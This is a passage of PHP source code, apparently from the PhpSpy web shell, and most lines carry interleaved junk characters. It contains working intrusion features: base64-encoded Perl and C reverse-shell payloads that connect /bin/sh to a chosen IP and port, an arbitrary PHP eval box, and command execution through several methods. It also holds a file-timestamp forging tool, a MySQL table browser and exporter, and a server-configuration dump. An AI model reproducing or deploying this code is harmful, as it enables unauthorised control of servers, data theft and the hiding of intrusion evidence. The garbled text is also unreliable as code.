  1007.                                                                                 p('</tr>');+ A1 W: O4 h1 E6 g- K# J8 q6 U
  1008.                                                                                 unset($b1);
    ) d/ R0 S+ a& m+ x& [
  1009.                                                                         }
    ) _* q1 `$ R4 p$ |+ `0 H0 o
  1010.                                                                         tbfoot();0 T- `* q1 ~# ^9 R
  1011.                                                                         p($multipage);
    ; {$ f8 l0 n4 J$ J1 @7 U0 D, Y
  1012.                                                                         break;        0 j: `! p5 M$ I& t' J# d& S2 I
  1013.                                                                 case 2:; P4 n; E$ I0 O2 u  Q( y$ T( Q' H6 P
  1014.                                                                         $ar = mysql_affected_rows();
    3 @1 E3 p/ F+ b3 @! g& D
  1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');- b( [; ^( G$ Z5 _5 k
  1016.                                                                         break;
    * _/ k$ w$ E/ U1 I% ~8 [8 O% I
  1017.                                                         }
    , G1 A/ \/ T5 i# F4 j! h0 B
  1018.                                                 }, _6 p7 C3 S! U( R% W1 F8 n8 y" d4 d
  1019.                                         }: p8 A3 y5 a& ~2 H. H
  1020.                                 }
    * `. F8 o( Q2 Y. M6 F
  1021.                         } else {! J7 a+ s6 S" e( ]
  1022.                                 $query = q("SHOW TABLE STATUS");
    ; H$ l! y# [: v5 r& z0 E
  1023.                                 $table_num = $table_rows = $data_size = 0;. w/ x$ D6 d5 n* w
  1024.                                 $tabledb = array();
    1 A2 ~# K+ e: A+ [! W& \
  1025.                                 while($table = mysql_fetch_array($query)) {
    + c- Q# C; v( g& E+ @& h
  1026.                                         $data_size = $data_size + $table['Data_length'];
    ) W) |, c1 k! V. D& n
  1027.                                         $table_rows = $table_rows + $table['Rows'];
      U: H! B6 M2 E) ~- D
  1028.                                         $table['Data_length'] = sizecount($table['Data_length']);$ d% v; Y5 M/ y  c" G; W, C
  1029.                                         $table_num++;# e* B) Y4 b! S! }7 v( h* n0 b. u* `7 E
  1030.                                         $tabledb[] = $table;
    ( P2 h* a8 A* k6 O( O; K/ b
  1031.                                 }* c( `+ n1 J, \% R! |  o0 {
  1032.                                 $data_size = sizecount($data_size);
    ) Y4 q+ ]+ @$ g% _) h% J
  1033.                                 unset($table);
    ( \6 a* C& L5 W9 G
  1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');
    / o% T2 j1 ^, H' {+ `9 V- q
  1035.                                 p('<form action="'.$self.'" method="POST">');: s. F9 ^, L& g: P& t; t  H
  1036.                                 makehide('action','sqladmin');& J: Z) y4 N' \( Y. T
  1037.                                 p($dbform);! g5 }4 K# P+ W, N% W+ E8 r
  1038.                                 p('<tr class="head">');! i6 D& ?) w) Q# F4 k& R6 k
  1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');! U3 ?" M, [7 W  X
  1040.                                 p('<td>Name</td>');
    4 Y  H% n1 j9 Z) p, Y. T7 S
  1041.                                 p('<td>Rows</td>');
    % ?& J$ ?5 t  Q" K" K' m6 `
  1042.                                 p('<td>Data_length</td>');
    " M" k4 @& o8 m* E4 d" e
  1043.                                 p('<td>Create_time</td>');
    + m) ]; t8 v* |& Y/ ?: k
  1044.                                 p('<td>Update_time</td>');6 H4 z5 ^) v! b9 [4 W
  1045.                                 if ($highver) {; n$ w5 y+ E2 A1 _0 C9 T
  1046.                                         p('<td>Engine</td>');. F2 _4 o" v3 V+ |/ I) `$ M1 ^
  1047.                                         p('<td>Collation</td>');
    9 y  j" c- Q8 y
  1048.                                 }) p# |$ s, h. h  K3 Z6 h1 D
  1049.                                 p('</tr>');5 @$ s7 D: v4 Q' A: L/ e
  1050.                                 foreach ($tabledb as $key => $table) {! g5 w7 s& U. o+ J) V! v: S
  1051.                                         $thisbg = bg();
    9 e4 |3 _# g. h) U: C5 C& \& N
  1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');% b( Y) L/ T3 e: _" Z
  1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
    + G/ F2 x$ M1 S8 O- t4 z: @
  1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
    - D- M: u4 K; S* t
  1055.                                         p('<td>'.$table['Rows'].'</td>');
    ( x% q/ O( P. S. m% e; _$ C, j5 t
  1056.                                         p('<td>'.$table['Data_length'].'</td>');
    9 }8 P! P0 A" C( f1 ]
  1057.                                         p('<td>'.$table['Create_time'].'</td>');
    ) ]) L3 S  \% C# \; c6 P4 H
  1058.                                         p('<td>'.$table['Update_time'].'</td>');, }4 K# e9 S' L
  1059.                                         if ($highver) {/ k0 ]% O+ a+ T
  1060.                                                 p('<td>'.$table['Engine'].'</td>');
    4 {5 J5 |6 l! |
  1061.                                                 p('<td>'.$table['Collation'].'</td>');' g% Y8 u; \4 P) j  ?" r0 P* x6 b4 ~
  1062.                                         }
    6 Z# \' F. c3 j9 L
  1063.                                         p('</tr>');$ ~$ @2 `5 k+ S
  1064.                                 }
    5 c/ T0 p. L# [( n3 R" c
  1065.                                 p('<tr class='.bg().'>');. ]% t2 n! x' L# Z! a+ v
  1066.                                 p('<td> </td>');& R) z# x" _- l* C+ z8 Y
  1067.                                 p('<td>Total tables: '.$table_num.'</td>');+ [' T5 j# J+ @5 P
  1068.                                 p('<td>'.$table_rows.'</td>');, g% k& T' L7 P) Y! h, s
  1069.                                 p('<td>'.$data_size.'</td>');- }2 k+ @2 z" }# h4 ]1 N5 s" w( c
  1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');8 O6 v) q- c& o" b+ H
  1071.                                 p('</tr>');; G, N8 s( Z  V3 h2 o
  1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
    ' u, l8 T1 f* c! u. J0 ~8 S8 ^9 f8 D
  1073.                                 makehide('doing','backupmysql');
    ( \3 ]* P2 S6 L6 B
  1074.                                 formfoot();
    8 M- ~9 e( v. F9 X" A
  1075.                                 p("</table>");
    . [  ^5 g* X9 G
  1076.                                 fr($query);
    7 k; U8 K. q0 g. Y2 @% \3 |. ]+ k
  1077.                         }
    1 T3 D0 P% E  o8 [' E( Q
  1078.                 }/ P" b* ^7 d5 c* Q- `! p! L
  1079.         }6 B' V7 u: x/ q; j- T
  1080.         tbfoot();! J! K2 t# J4 h- j0 b
  1081.         @mysql_close();4 Y1 \- B' ~. |" o. K; q+ A
  1082. }//end sql backup1 R+ ^3 k+ [/ F0 ?* n; ^
  1083. elseif ($action == 'backconnect') {
    ; u' T% m2 ^2 `' A; e
  1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];+ k+ L) o& J1 h' n
  1085.         !$yourport && $yourport = '12345';/ o8 P8 F9 ?& h9 h" I* R
  1086.         $usedb = array('perl'=>'perl','c'=>'c');
    1 Y- m7 N* f2 R6 e, T
  1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
    7 v( x! q' i6 \- j' j! t: g
  1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".: O+ s+ C- |. O- Y( U, q
  1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".  f. x" v1 k# W, I$ {1 r, I- ]
  1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".3 t: k9 N2 H4 |5 k# q3 H8 l. n
  1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
    # a' G0 K( a1 t$ V& Z# l1 ]
  1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".7 ?) r; H1 d% K7 F
  1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";4 W* {; J. P" u& ^% G6 V8 U: F# Z
  1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
    % u# y8 {) T9 b: @% J8 Z/ N
  1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
    6 |2 y2 P- V7 H6 q' P6 l7 c: _) H3 |
  1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
    ; q: ~( s/ N2 W4 I2 v, G2 K0 L$ \
  1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".8 f8 a! ?6 z1 [) q1 i
  1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
    ( _& x; t; p4 L% B( b) D  F
  1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".: T) f0 m7 e. B! g. S: M( N
  1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
    ( \2 K  b# k- y+ R- b7 M
  1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";6 p, f; k$ F" T. c8 A, w
  1102.         if ($start && $yourip && $yourport && $use){
    ( O9 O. M5 c' C$ r9 W
  1103.                 if ($use == 'perl') {
    ; Q9 j- S: R% q1 C6 J
  1104.                         cf('/tmp/angel_bc',$back_connect);$ z2 ?. B/ c5 ^+ A+ ~$ G
  1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");- u+ _9 z2 E$ m9 e' v
  1106.                 } else {
    & C0 Q: G( O6 D
  1107.                         cf('/tmp/angel_bc.c',$back_connect_c);6 D; Z: {/ `4 A
  1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');) m0 B' \+ [* Q9 R$ b2 d
  1109.                         @unlink('/tmp/angel_bc.c');
    % X: j3 h+ i$ G* @1 v4 u
  1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");
    8 Z# b, v0 n+ A0 h6 y6 P
  1111.                 }
    7 T4 _) H  B2 @* S  U2 ~
  1112.                 m("Now script try connect to $yourip port $yourport ...");
    1 n' S. s1 d% q
  1113.         }  S1 t4 _8 s3 c: z. q7 C  a" ~
  1114.         formhead(array('title'=>'Back Connect'));) ?$ a; \2 l$ t$ ~3 m
  1115.         makehide('action','backconnect');8 d$ d7 Q& J* q* w% g; Z
  1116.         p('<p>');! F- c& f5 ^& E% }  c! M& F
  1117.         p('Your IP:');6 S7 x0 t4 Y' x+ \7 }7 t
  1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));1 O8 g9 A7 H1 [& E& }! |
  1119.         p('Your Port:');
    6 b$ d* [. U7 Q
  1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));( V4 j( X9 `% |
  1121.         p('Use:');
    ! F5 Y/ L# E# `" O" s6 O, `
  1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
    + p/ u- X' u6 Y
  1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));4 D" ~5 N3 O- M0 C  W
  1124.         p('</p>');
    * p6 Q1 o, J2 V/ G
  1125.         formfoot();
    4 z- d( ^7 O. ^
  1126. }//end sql backup
    4 Z; w% ?7 |4 y4 u* b4 K
  1127. elseif ($action == 'eval') {
    5 Z7 y# b8 p/ L6 Z
  1128.         $phpcode = trim($phpcode);- W4 i  `2 \0 G( n$ l+ m3 Y" M
  1129.         if($phpcode){
    $ l, G3 S( }  k" {8 m4 |+ M5 R
  1130.                 if (!preg_match('#<\?#si', $phpcode)) {  q+ d+ z/ a6 ], n% ^1 Z
  1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";# d% a; v: S/ g! Q, W
  1132.                 }% O7 ^+ O# H1 k- j! d) `2 P
  1133.                 eval("?".">$phpcode<?");
    % k% [0 b" D; Y' l$ ]* E
  1134.         }9 }0 B, ~: v9 q9 ]. g! ~
  1135.         formhead(array('title'=>'Eval PHP Code'));
    + b/ O4 `" e" q3 `, \
  1136.         makehide('action','eval');
    % H: n% }& U) m% D' P9 q3 R6 x
  1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
    ( J( h( M# q% ~0 O
  1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
    9 [6 H- O# B& B( T; Q
  1139.         formfooter();" t4 g' U9 T! o+ J; I+ z
  1140. }//end eval
    , j2 F; p6 N1 ^

  1141. 3 I( V) n0 N9 P9 i8 ]  E8 g
  1142. elseif ($action == 'editfile') {: \+ e3 n9 `& D: ~
  1143.         if(file_exists($opfile)) {
    5 Y( x3 t0 o- x& }3 Y
  1144.                 $fp=@fopen($opfile,'r');. F7 ]  z6 F, i' N
  1145.                 $contents=@fread($fp, filesize($opfile));% J' r0 |$ V2 l" M& `  X) w
  1146.                 @fclose($fp);) E8 [) w3 o5 Q1 p
  1147.                 $contents=htmlspecialchars($contents);
    - E) c7 c! A# V* k  r9 R* U$ s
  1148.         }$ `+ n) R" z# I6 A, j2 p" B: f
  1149.         formhead(array('title'=>'Create / Edit File'));# K' \* w6 g; a
  1150.         makehide('action','file');4 m6 D4 q* s7 D  _) P
  1151.         makehide('dir',$nowpath);
    ; v/ d* G# a3 L8 u
  1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));4 v4 h4 f7 I- x5 d
  1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
    / A, S1 z4 u4 F: i; w6 r
  1154.         formfooter();' R$ z6 e6 ~( _6 g3 {% }( ]! w
  1155. }//end editfile
    0 j+ s8 q$ E+ p$ L, Y( p& I1 U0 @" d

  1156. 2 b1 x$ O+ f% B1 D8 T+ N
  1157. elseif ($action == 'newtime') {
    & U, B, e! q, u% @' G
  1158.         $opfilemtime = @filemtime($opfile);
    % n& S6 R" S- o$ u& \$ y
  1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");1 l+ n: D* k3 e- Q  z
  1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
    8 J; a4 h8 D  F: c
  1161.         formhead(array('title'=>'Clone file was last modified time'));6 k* s  Q  }  c: y* g. Y( g
  1162.         makehide('action','file');
    # U) {- ~$ z: c; i
  1163.         makehide('dir',$nowpath);5 B, S  f. G( ~* T' ?
  1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));0 A% f( y6 C2 C1 s3 s
  1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
    : p" x8 H3 o" @  P
  1166.         formfooter();& N$ ]5 N6 l4 u# Z' K! a
  1167.         formhead(array('title'=>'Set last modified'));$ I3 c! l& i  ^+ B% s3 f
  1168.         makehide('action','file');
      X8 g; [/ k7 N6 N5 N+ i% Q+ S
  1169.         makehide('dir',$nowpath);
    5 I% P% a0 s) \/ u
  1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));$ w( J, o8 r( m: `
  1171.         p('<p>Instead »');1 i* L4 q( ?& _3 J/ F
  1172.         p('year:');' e* _1 e& t: N2 P* }$ P% }
  1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));- l2 f# U2 d5 f5 y8 K
  1174.         p('month:');3 b. G8 S4 c2 v: c7 s
  1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));% r7 O9 _5 [1 o3 T: Y
  1176.         p('day:');: O) G2 N1 d& r+ D
  1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
    0 _' o; S5 f4 Z( i* t
  1178.         p('hour:');
    # \' h0 w& Y0 |" h3 e: ?* S
  1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
    7 x) x) j% }: Q
  1180.         p('minute:');
    0 L  M" T! l5 F- k0 y0 u- R) ~
  1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
    " |" d3 Q0 @. \1 q
  1182.         p('second:');
    ) S$ D) E2 N( u% j1 _3 v
  1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
    - ]4 u, R. q6 M
  1184.         p('</p>');0 ]0 s2 |4 A% k0 w. l# X
  1185.         formfooter();
    6 M( u2 d7 N; E# n7 o, w# x
  1186. }//end newtime
    1 d2 H+ Q+ L3 a, N+ M
  1187.   X1 |" ]7 P3 p( m( g8 W( K
  1188. elseif ($action == 'shell') {; C6 l* `+ D7 k: a
  1189.         if (IS_WIN && IS_COM) {
    4 c! C( Q3 D7 z1 R9 o! J) u
  1190.                 if($program && $parameter) {
    4 G) w9 \" A7 Y/ W* H
  1191.                         $shell= new COM('Shell.Application');+ t( @5 I3 }8 \6 C7 b+ P2 L
  1192.                         $a = $shell->ShellExecute($program,$parameter);
    : F- t2 o. U+ B
  1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
    / s0 {: Z* V) o0 ?2 }0 w$ \
  1194.                 }( K) p  n' V, Q+ ~
  1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';
    - l5 W2 \' l, G. z" M. E" u- n
  1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';* I. K8 C$ X6 j* P0 M) X: ~& R& z
  1197.                 formhead(array('title'=>'Execute Program'));
    % b1 K- {) e. `* \# I, ]5 `* X
  1198.                 makehide('action','shell');
    6 m4 v5 O4 @! `1 u  s2 p! _
  1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
    2 ^- Y: k% [3 j! ]
  1200.                 p('<p>');
    4 w+ @+ P6 w! ^+ g! F9 ~4 u2 F
  1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
    2 I" C! r$ p* ?  E. G& V5 t1 P
  1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
    0 K0 a0 F+ c$ @) Y9 G( E& T- \) K/ ?
  1203.                 p('</p>');0 K- Q' A2 z$ Q4 j/ j
  1204.                 formfoot();+ I2 |+ q3 U$ J7 p
  1205.         }* R( ~2 P3 d  b) X9 i  I& O
  1206.         formhead(array('title'=>'Execute Command'));
    + C) ]$ s# x- J! p$ K
  1207.         makehide('action','shell');' L# i) T  x( R/ j5 X5 x, d) L
  1208.         if (IS_WIN && IS_COM) {
    4 x. G- @& X% b$ ^1 e1 b+ `" Q
  1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
    " o$ K8 @# @2 {: |
  1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
    ' @; Z% u6 c7 n, [0 l# N
  1211.         }3 _6 s1 [4 w5 W% w0 R0 l; x+ I
  1212.         p('<p>');
    ( t3 a6 P& P- |0 K* i4 m; U
  1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
    ! [4 R. E- h! K( L- M
  1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
    ! V( Q( H3 k- P  y9 b8 t' {
  1215.         p('</p>');" ?' F( L0 y* h: e6 U/ N) E) B- I
  1216.         formfoot();* S3 Y# R5 R( p! Y
  1217. - l0 [3 H' r3 x+ U2 I% Z
  1218.         if ($command) {
    % q9 D' t7 q/ [6 Y
  1219.                 p('<hr width="100%" noshade /><pre>');
    , F$ @  Z3 u7 t4 `1 Y4 m' N
  1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
    % x  \7 m# x0 V# |
  1221.                         $wsh = new COM('WScript.shell');, R* l$ s$ |0 s4 C
  1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);) u" P8 Z0 I0 ]6 J+ i& j6 S
  1223.                         $stdout = $exec->StdOut();
    6 x  v, N. P6 _
  1224.                         $stroutput = $stdout->ReadAll();- A6 {5 p+ b0 o4 I# Z$ G
  1225.                         echo $stroutput;
    / M/ |- O' C, ^5 E5 C" ]# T( K
  1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
    / }( \7 c5 Z# c* p) T9 S0 Z
  1227.                         $descriptorspec = array(
    ' H# b' y6 h9 O7 K( ^; T! g# i
  1228.                            0 => array('pipe', 'r'),
    # P3 S- b# g2 b  n" Z
  1229.                            1 => array('pipe', 'w'),/ R* x, n" ^7 H5 A
  1230.                            2 => array('pipe', 'w')
    + j4 P! y- L& \, b% b2 `* ]
  1231.                         );
    9 N' M; _: W/ K' ]4 H) C3 g
  1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
    $ `' I: @, M" S( l7 v) H0 \
  1233.                         if (is_resource($process)) {
    / a' w8 q1 M: z4 G3 n  \' _
  1234.                                 fwrite($pipes[0], $command."\r\n");
    # }+ G. C$ o6 Y- F, [2 S# v3 T
  1235.                                 fwrite($pipes[0], "exit\r\n");
    : Y- Q: o; n0 L) D7 _4 l, H) g
  1236.                                 fclose($pipes[0]);" B" t* x7 I4 N: k* T
  1237.                                 while (!feof($pipes[1])) {
    . N8 d% ?- Z2 n! X5 E
  1238.                                         echo fgets($pipes[1], 1024);! |1 A- E/ h/ b
  1239.                                 }0 @1 o- y0 k* @. }/ ~
  1240.                                 fclose($pipes[1]);; {1 j! s0 g7 r! r0 [
  1241.                                 while (!feof($pipes[2])) {
    ' M/ `' x8 f& B4 p2 W
  1242.                                         echo fgets($pipes[2], 1024);
    % ~  ?* w' Y( z3 d; Z
  1243.                                 }
    9 W! W. x+ j! J) Q
  1244.                                 fclose($pipes[2]);8 q$ x3 A0 x0 u7 {) i# c/ a! l% g
  1245.                                 proc_close($process);( m' d% D% m" s& j! q
  1246.                         }
    3 @& W& P* I& T; m# O, w! M5 s
  1247.                 } else {
    4 Z6 o; D  H7 x. @/ g. Y
  1248.                         echo(execute($command));7 R* B' G* L0 P' v4 Q
  1249.                 }" K* n* V# l2 ?& U
  1250.                 p('</pre>');
    ' d! X6 R$ m  q( K) o
  1251.         }5 k) I8 {2 d9 B( A& s% n
  1252. }//end shell
    " T+ d  a: g. G

  1253. 7 }1 K) N6 F% ?. F7 a& ?
  1254. elseif ($action == 'phpenv') {. {$ h, a8 S/ n8 x4 U3 X- S: n3 D
  1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';1 |! Q$ F% E# k; l
  1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');. w! E0 m6 e  Q# |+ \* z
  1257.         !$dis_func && $dis_func = 'No';       
    ) ]# c5 n9 O, a( T2 A$ h
  1258.         $info = array(4 v9 ]' D! U* S$ s& x4 J
  1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),  T7 S6 W! ?' H- d- b
  1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
    + U: {9 U) X; K* W9 ]) D
  1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),9 Z, N# H) b2 x9 z3 F
  1262.                 4 => array('Server OS',PHP_OS),
    4 N+ {9 z- A( m/ b* O
  1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
    # k0 {0 m. d8 A
  1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),3 l3 ?. F# o# O+ ?
  1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT'])," T0 h- K5 [  V& m  O; D
  1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),
    6 K7 ]/ @- l* v! g3 n; ]' ]
  1267.                 9 => array('The file path',__FILE__),* X- I0 V  Q: E- q* h; Q
  1268. & O1 k8 d- d9 k2 v- `7 c
  1269.                 10 => array('PHP Version',PHP_VERSION),! W9 R' x. d  a$ ]0 Z3 x
  1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
    1 O8 G+ m3 @2 Q0 M, d. f9 J
  1271.                 12 => array('Safe Mode',getcfg('safe_mode')),
    - J7 y; @' n3 \, Q4 f. y
  1272.                 13 => array('Administrator',$adminmail),
    # l. ]. h7 s5 H: `" m
  1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
    ; |1 l, w  c1 c( c- v3 ], o, ]
  1274.                 15 => array('enable_dl',getcfg('enable_dl')),
    $ I( i6 P( s, q" n, X# X. b
  1275.                 16 => array('display_errors',getcfg('display_errors')),& W$ t# N; Z7 W8 e
  1276.                 17 => array('register_globals',getcfg('register_globals')),
    % V% D6 g4 o4 x, S" D3 m4 ]
  1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),3 x8 ?0 k: k" |4 m+ e# u0 K/ |& |
  1278.                 19 => array('memory_limit',getcfg('memory_limit')),1 [/ q+ E  V6 I- k5 a
  1279.                 20 => array('post_max_size',getcfg('post_max_size')),
    9 H  ?$ _+ Q0 \$ q
  1280.                 21 => array('upload_max_filesize',$upsize),9 }# p1 q& M( P) C  T, F, ~3 M
  1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),) `- c- [, R3 U+ R% ~
  1282.                 23 => array('disable_functions',$dis_func),6 [$ e+ k( i% T1 ]& Z
  1283.         );+ e/ w* J5 E! Z: V* `) b, \
  1284. ; {6 v2 D' U6 S% q# l! h; a; q
  1285.         if($phpvarname) {, m# H# j( E+ a
  1286.                 m($phpvarname .' : '.getcfg($phpvarname));
      A0 J- |1 |2 B7 h. Y2 c
  1287.         }
    5 e  h! r8 T+ o

  1288. $ d8 t4 W+ n! S4 A( J2 A. w2 L7 `. ]+ ~' Q
  1289.         formhead(array('title'=>'Server environment'));  h6 S* F9 c2 C9 n1 l
  1290.         makehide('action','phpenv');
    ) c) p1 Q% ?4 A3 ]$ z/ |
  1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
    : y" P3 l; x/ J: Y0 c
  1292.         formfooter();3 G% G* E& b' ^) F+ a# [6 K5 v: w
  1293. 3 p- M& k7 q2 d
  1294.         $hp = array(0=> 'Server', 1=> 'PHP');4 F* K+ T& a& X" I# Q, \: i
  1295.         for($a=0;$a<2;$a++) {* m  N5 A7 G1 h
  1296.                 p('<h2>'.$hp[$a].' »</h2>');
    : z4 ?, ^) I$ v) H6 e  }& _* c/ g
  1297.                 p('<ul class="info">');" \5 g# _6 P! g# R& N
  1298.                 if ($a==0) {7 E* G4 }) h/ m9 K) \: W: e
  1299.                         for($i=1;$i<=9;$i++) {. C: g: }  Z/ d) h8 ^) G  x
  1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');: P; b8 r1 a% D% O
  1301.                         }& b1 g: L" G  a6 V; o0 [
  1302.                 } elseif ($a == 1) {
    ) X) T' ~, A# T) N6 o) k
  1303.                         for($i=10;$i<=23;$i++) {0 y$ f+ o3 G& ?2 T
  1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');+ `% i( ]+ v. ^3 @
  1305.                         }
    ( o6 W, o' e1 ~* [( _5 w) P
  1306.                 }
    . e; G3 ~: a9 L( j+ O" O! |5 J
